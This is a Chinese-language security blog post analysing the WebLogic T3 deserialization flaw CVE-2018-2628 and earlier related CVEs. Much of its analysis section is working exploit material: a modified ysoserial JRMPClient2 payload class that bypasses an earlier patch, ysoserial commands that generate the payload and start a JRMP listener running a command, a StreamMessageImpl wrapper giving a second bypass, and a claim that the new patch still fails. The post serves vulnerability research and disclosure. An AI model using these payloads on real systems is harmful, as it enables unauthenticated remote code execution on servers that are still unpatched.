Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

2018-04-25

作者：Badcode@知道创宇404实验室

漏洞简介

2018年4月18日，Oracle官方发布了4月份的安全补丁更新CPU（Critical Patch Update），更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击，并可获取目标系统所有权限。

漏洞影响

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

Weblogic 反序列化漏洞历程

这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。

CVE-2015-4852

2015年11月6日，FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用，实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁（p21984589_1036_Generic），发现 Weblogic 采用的黑名单的形式来修复这个漏洞。

但是这种修复方式很被动，存在被绕过的风险，只要发现可用并且未在黑名单之外的反序列化类，那么之前的防护就会被打破，系统遭受攻击。而后的漏洞也证明了这一点。

CVE-2016-0638

Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

有人发现利用weblogic.jms.common.StreamMessageImpl的 readExternal()也是可以进行反序列化操作的，而且这个不受黑名单限制，所以可以绕过了之前的补丁。

CVE-2016-3510

原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject，然后再对 MarshalledObject进行序列化，生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。

CVE-2017-3248

Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

这个漏洞就是利用 RMI 机制的缺陷，通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister，这将会序列化一个 RemoteObjectInvocationHandler，该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。此连接使用 JRMP 协议，因此客户端将反序列化服务器响应的任何内容，从而实现未经身份验证的远程代码执行。

CVE-2018-2628 漏洞分析

首先我们来看以下 CVE-2017-3248 这个漏洞的补丁（p24667634_1036_Generic），在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass，这个resolveProxyClass只是对 RMI 接口类型进行了判断，判断 RMI 接口是否为java.rmi.registry.Registry，是的话抛出错误。

这里，换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload，即可绕过这个判断限制。

仿照JRMPClient写一个JRMPClient2，重新编译。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep &lt; 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

public class JRMPClient2 extends PayloadRunner implements ObjectPayload {

public Activator getObject ( final String command ) throws Exception {

String host;

int port;

int sep = command.indexOf(':');

if ( sep < 0 ) {

port = new Random().nextInt(65535);

host = command;

}

else {

host = command.substring(0, sep);

port = Integer.valueOf(command.substring(sep + 1));

}

ObjID id = new ObjID(new Random().nextInt()); // RMI registry

TCPEndpoint te = new TCPEndpoint(host, port);

UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {

Activator.class

}, obj);

return proxy;

}

public static void main ( final String[] args ) throws Exception {

Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());

PayloadRunner.run(JRMPClient2.class, args);

}

生成 payload：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" &gt; p_client2

1	java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

可以对比以下JRMPClient 和JRMPClient2 生成的 payload。

除了 RMI 接口不一样，其他都是一样的。

JRMPLister开启

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

1	java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

我测试的 Weblogic 版本是10.3.6.0.170117，即已修复了CVE-2017-3248漏洞，在我本地的环境中，CommonsCollections这个 payload 已经失效了。Weblogic 的commons-collections.jar版本已经升级，所以我这里 payload 用的是Jdk7u21（这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用）。在commons-collections.jar版本没有升级的 Weblogic 中，使用CommonsCollections 这个 payload 是可以的。

使用 t3 协议脚本发送 p_client2，可以看到JRMPLister有请求过来了，客户端命令也执行成功了。

作为对比，将JRMPClient生成的 p_client 也发送过去，可以看到报错信息Unauthorized proxy deserialization，正是黑名单拦截抛出的错误。

可见java.rmi.activation.Activator是绕过了CVE-2017-3248的补丁了。

另外一种绕过补丁的方式

这种方式是我在复现漏洞时尝试 payload 的时候发现的，绕过的方式和CVE-2016-0638有关。

StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查。所以可以使用StreamMessageImpl将RemoteObjectInvocationHandler序列化，以此来绕过resolveProxyClass函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。

将JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的 payload——p_stream。

    public static Object streamMessageImpl(byte[] object) throws Exception {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

public static Object streamMessageImpl(byte[] object) throws Exception {

StreamMessageImpl streamMessage = new StreamMessageImpl();

streamMessage.setDataBuffer(object, object.length);

return streamMessage;

}

使用脚本发送，可以看到，成功执行了命令。

CVE-2018-2628补丁分析

初步比对补丁(p27395085_1036_Generic)，发现WeblogicFilterConfig.class的黑名单多了一个sun.rmi.server.UnicastRef。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

但是根据我的实际测试，命令还是可以执行成功，貌似补丁没起作用。

总结

总的来说，Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个！

参考链接

作者：dawu | Categories:技术分享 | Tags:

发表评论取消回复

要发表评论，您必须先登录。